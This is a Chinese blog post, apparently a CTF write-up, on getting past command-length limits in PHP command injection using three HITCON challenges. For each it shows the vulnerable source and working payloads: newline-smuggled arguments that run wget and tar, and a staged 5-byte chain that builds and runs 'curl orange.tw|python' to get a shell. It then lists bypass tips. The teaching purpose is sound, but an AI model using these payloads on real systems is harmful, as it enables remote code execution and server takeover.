命令注入突破长度限制 | 从CTF题目讲起

原创

纸房子 于 2017-12-03 19:11:51 发布 6111 收藏 2

分类专栏： 网络安全 文章标签： command

在命令注入中往往会存在注入命令的长度过短的情况，无法将全部命令完全的输入进去，这种情况下就需要我们来想办法突破系统命令长度的限制。

我们从三道CTF题目来讲解一下这种渗透策略。

一.Babyfirst

Sovled: 33 / 969
Difficulty: ★★
Tag: WhiteBox, PHP, Command Injection

Idea

Use NewLine to bypass regular expression check
Command injection only with alphanumeric characters

Source Code

```php
<?php
    highlight_file(__FILE__);

    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    chdir($dir);

    $args = $_GET['args'];
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) )
            exit();
    }

    exec("/bin/orange " . implode(" ", $args));
?>
```

Solution

```
http://localhost/
?args[0]=x%0a
&args[1]=mkdir
&args[2]=orange%0a
&args[3]=cd
&args[4]=orange%0a
&args[5]=wget
&args[6]=846465263%0a

http://localhost/
?args[0]=x%0a
&args[1]=tar
&args[2]=cvf
&args[3]=aa
&args[4]=orange%0a
&args[5]=php
&args[6]=aa
```

And there are also lots of creative solutions, you can check the write ups below.

Write Ups

babyfirst (web 100)
HITCON CTF 2015 Web 100 Web 300 Writeup
HITCON 2015 Quals: Babyexploit
Babyfirst (web, 100p, ?? solves)

二.BabyFirst Revenge

Difficulty: ★☆
Sovled: 95 / 1541
Tag: WhiteBox, PHP, Command Injection

Idea

Command Injection, but only in 5 bytes

Source Code

```php
<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);
?>
```

Solution

```
#generate `ls -t>g` to file "_"
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_

#generate `curl orange.tw|python` to file "g"
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _

#got shell
http://host/?cmd=sh g
```

Write Ups

HITCON CTF 2017-BabyFirst Revenge-writeup
HITCON CTF 2017-BabyFirst Revenge-writeup (Via curl)
HITCON 2017 CTF BabyFirst Revenge
HITCON CTF 2017 - BabyFirst Revenge (172 pts.)
Hitcon CTF 2017 - Baby Revenge
Hitcon CTF 2017 Quals: Baby First Revenge (web 172) (Via xxd)
HITCON CTF 2017 BabyFirst Revenge & v2 writeup
BabyFirst-Revenge-HITCOIN-2017-QUALS by @n4p5ter

三.BabyFirst Revenge v2

Difficulty: ★★★★
Sovled: 8 / 1541
Tag: WhiteBox, PHP, Command Injection

Idea

Command Injection, but only in 4 bytes

Source Code

```php
<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);
?>
```

Solution

```
1.generate g> ht- sl to file v
2.reverse file v to file x
3.generate curl orange.tw|python;
4.execute x, ls -th >g
5.execute g
```

Write Ups

Baby First Revenge v2 (Via vim) by @bennofs
[python] baby-exp.py
How to solve a CTF challenge for $20 - HITCON 2017 BabyFirst Revenge v2
HITCON CTF 2017 BabyFirst Revenge & v2 writeup

四.Summary

Tip1：用%0A(换行符)突破字符检查
Tip2：在Linux的bash命令行中一行命令写不完可以用'\'符号进行衔接。
Tip3：利用ls -t命令写入文件进行执行命令。
Tip4：'*'命令可以把当前目录文件命令连到一起执行命令，也就是说第一个文件名称为'dir'就可以列出当前目录所有文件。
Tip5：rev命令可以反转文件内字符内容。
。。。。。。。待完善。

FreeBuf另一篇文档